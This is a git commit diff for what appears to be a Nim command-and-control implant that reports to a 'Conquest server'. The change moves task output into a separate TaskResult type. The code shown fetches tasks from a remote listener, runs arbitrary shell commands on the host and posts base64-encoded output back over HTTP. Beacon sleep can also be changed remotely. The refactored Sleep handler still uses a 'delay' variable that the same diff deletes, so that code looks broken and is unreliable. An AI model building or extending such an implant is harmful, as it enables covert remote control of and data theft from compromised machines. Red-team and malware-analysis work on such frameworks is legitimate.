Seperated Task and TaskResult types.
This commit is contained in:
@@ -60,7 +60,7 @@ proc main() =
|
||||
|
||||
# Execute all retrieved tasks and return their output to the server
|
||||
for task in tasks:
|
||||
let result = task.handleTask(config)
|
||||
let result: TaskResult = task.handleTask(config)
|
||||
discard config.postResults(agent, result)
|
||||
|
||||
when isMainModule:
|
||||
|
||||
@@ -1,14 +1,24 @@
|
||||
import winim, osproc, strutils, strformat
|
||||
import winim, osproc, strutils, strformat, base64
|
||||
|
||||
import ../types
|
||||
|
||||
proc taskShell*(command: seq[string]): tuple[output: TaskResult, status: TaskStatus] =
|
||||
proc taskShell*(task: Task): TaskResult =
|
||||
|
||||
echo "Executing command: ", command.join(" ")
|
||||
echo "Executing command: ", task.args.join(" ")
|
||||
|
||||
try:
|
||||
let (output, status) = execCmdEx(command.join(" "))
|
||||
return (output, Completed)
|
||||
let (output, status) = execCmdEx(task.args.join(" "))
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(output),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return (fmt"An error occured: {err.msg}" & "\n", Failed)
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
|
||||
@@ -1,14 +1,24 @@
|
||||
import os, strutils, strformat
|
||||
import os, strutils, strformat, base64
|
||||
|
||||
import ../types
|
||||
|
||||
proc taskSleep*(delay: int): tuple[output: TaskResult, status: TaskStatus] =
|
||||
proc taskSleep*(task: Task): TaskResult =
|
||||
|
||||
echo fmt"Sleeping for {$delay} seconds."
|
||||
echo fmt"Sleeping for {task.args[0]} seconds."
|
||||
|
||||
try:
|
||||
sleep(delay * 1000)
|
||||
return ("", Completed)
|
||||
sleep(parseInt(task.args[0]) * 1000)
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
|
||||
except CatchableError as err:
|
||||
return (fmt"An error occured: {err.msg}" & "\n", Failed)
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
@@ -49,20 +49,20 @@ proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
|
||||
|
||||
return @[]
|
||||
|
||||
proc postResults*(config: AgentConfig, agent: string, task: Task): bool =
|
||||
proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool =
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
|
||||
# Define headers
|
||||
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
||||
|
||||
let taskJson = %task
|
||||
let taskJson = %taskResult
|
||||
|
||||
echo $taskJson
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{task.id}/results", $taskJson)
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [postResults]: ", err.msg
|
||||
|
||||
@@ -2,4 +2,4 @@
|
||||
-d:ListenerUuid="KPDHWZNT"
|
||||
-d:ListenerIp="localhost"
|
||||
-d:ListenerPort=7777
|
||||
-d:SleepDelay=0
|
||||
-d:SleepDelay=10
|
||||
|
||||
@@ -1,49 +1,28 @@
|
||||
import base64, strutils
|
||||
import strutils
|
||||
import ./types
|
||||
import ./commands/commands
|
||||
|
||||
proc handleTask*(task: Task, config: AgentConfig): Task =
|
||||
proc handleTask*(task: Task, config: AgentConfig): TaskResult =
|
||||
|
||||
# Handle task command
|
||||
case task.command:
|
||||
|
||||
of ExecuteShell:
|
||||
|
||||
let (output, status) = taskShell(task.args)
|
||||
echo output
|
||||
let taskResult = taskShell(task)
|
||||
echo taskResult.data
|
||||
return taskResult
|
||||
|
||||
return Task(
|
||||
id: task.id,
|
||||
agent: task.agent,
|
||||
command: task.command,
|
||||
args: task.args,
|
||||
result: encode(output), # Base64 encode result
|
||||
status: status
|
||||
)
|
||||
|
||||
of Sleep:
|
||||
# Parse arguments
|
||||
let delay: int = parseInt(task.args[0])
|
||||
|
||||
of Sleep:
|
||||
# Execute task
|
||||
let (output, status) = taskSleep(delay)
|
||||
let taskResult = taskSleep(task)
|
||||
|
||||
# Update sleep delay in agent config
|
||||
if status == Completed:
|
||||
if taskResult.status == Completed:
|
||||
config.sleep = delay
|
||||
|
||||
# Return result
|
||||
return Task(
|
||||
id: task.id,
|
||||
agent: task.agent,
|
||||
command: task.command,
|
||||
args: task.args,
|
||||
result: encode(output),
|
||||
status: status
|
||||
)
|
||||
return taskResult
|
||||
|
||||
else:
|
||||
echo "Not implemented"
|
||||
return nil
|
||||
|
||||
return task
|
||||
return nil
|
||||
Reference in New Issue
Block a user